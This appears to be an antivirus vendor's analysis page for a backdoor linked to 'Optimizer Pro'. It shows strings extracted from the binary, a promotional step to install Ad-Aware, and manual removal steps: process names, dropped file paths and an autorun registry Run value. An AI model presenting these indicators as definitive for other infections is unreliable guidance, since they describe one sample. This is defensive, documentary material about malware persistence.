Max line length exceeded.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Connecting to %s.
No help keyword specified.
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.4Failed attempting to retrieve time zone information.
File "%s" not found1Only one TIdAntiFreeze can exist per application."%d: Circular links are not allowed
No help found for %s#No context-sensitive help installed$No topic-based help system installed
Alt  Clipboard does not support Icons/Menu '%s' is already being used by another form
Unsupported clipboard format
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
List count out of bounds (%d)
List index out of bounds (%d) Out of memory while expanding memory stream
Error reading %s%s%s: %s
Failed to get data for '%s'
Failed to set data for '%s'
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Thread creation error: %s
Thread Error: %s (%d)
*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
Invalid stream format$''%s'' is not a valid component name
Invalid data type for '%s' List capacity out of bounds (%d)
Ancestor for '%s' not found
Cannot assign a %s to a %s
Interface not supported
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
External exception %x
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Privileged instruction(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
!'%s' is not a valid integer value
I/O error %d
Integer overflow Invalid floating point operation
3.2.0.0


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:1656
    optprosetup.exe:520
    rundll32.exe:340
    rundll32.exe:240
    optprosetup.tmp:1868

  2. Delete the original Backdoor file.
  3. Delete or disinfect the following files created/modified by the Backdoor:

    %Documents and Settings%\%current user%\Local Settings\Temp\optprosetup.exe (725485 bytes)
    %Documents and Settings%\%current user%\NTUSER.DAT.LOG (5304 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\is-NDG4J.tmp\optprosetup.tmp (7386 bytes)
    %Program Files%\Optimizer Pro\is-UB5I8.tmp (6841 bytes)
    %Program Files%\Optimizer Pro\is-4ENCU.tmp (2321 bytes)
    %Documents and Settings%\All Users\Start Menu\Programs\Optimizer Pro v3.2\Uninstall Optimizer Pro.lnk (755 bytes)
    %Program Files%\Optimizer Pro\is-63JNS.tmp (2321 bytes)
    %Program Files%\Optimizer Pro\is-3JAI8.tmp (6841 bytes)
    %Program Files%\Optimizer Pro\is-T7HCR.tmp (31891 bytes)
    %Program Files%\Optimizer Pro\is-F57D7.tmp (3073 bytes)
    %Program Files%\Optimizer Pro\is-5QBQ7.tmp (22786 bytes)
    %Program Files%\Optimizer Pro\is-DM8R4.tmp (712 bytes)
    %Program Files%\Optimizer Pro\OptProCrash.dll (211202 bytes)
    %Program Files%\Optimizer Pro\is-1JETG.tmp (56 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\_isetup\_shfoldr.dll (23 bytes)
    %Program Files%\Optimizer Pro\unins000.dat (17021 bytes)
    %Documents and Settings%\All Users\Start Menu\Programs\Optimizer Pro v3.2\Help.lnk (749 bytes)
    %Program Files%\Optimizer Pro\is-AII5H.tmp (601 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\optpro2.bmp (673 bytes)
    %Program Files%\Optimizer Pro\is-PIFJL.tmp (22 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Program Files%\Optimizer Pro\is-GDRIL.tmp (1281 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\OptProCrash.dll (24284 bytes)
    %Documents and Settings%\%current user%\Desktop\Optimizer Pro.lnk (737 bytes)
    %Program Files%\Optimizer Pro\unins000.msg (646 bytes)
    %Documents and Settings%\All Users\Start Menu\Programs\Optimizer Pro v3.2\Check updates.lnk (777 bytes)
    %Program Files%\Optimizer Pro\is-F08KO.tmp (4545 bytes)
    %Program Files%\Optimizer Pro\is-TKMAH.tmp (3361 bytes)
    %Program Files%\Optimizer Pro\is-81MFB.tmp (6841 bytes)
    %Program Files%\Optimizer Pro\is-ST26V.tmp (54 bytes)
    %Documents and Settings%\All Users\Start Menu\Programs\Optimizer Pro v3.2\Optimizer Pro on the Web.lnk (729 bytes)
    %Program Files%\Optimizer Pro\is-6MRK2.tmp (898 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\itdownload.dll (1281 bytes)
    %Program Files%\Optimizer Pro\is-JBG58.tmp (48 bytes)
    %Documents and Settings%\All Users\Start Menu\Programs\Optimizer Pro v3.2\Optimizer Pro.lnk (749 bytes)
    %Program Files%\Optimizer Pro\is-FH4A5.tmp (673 bytes)
    %Program Files%\Optimizer Pro\is-11VOQ.tmp (7345 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "Optimizer Pro" = "%Program Files%\Optimizer Pro\OptProLauncher.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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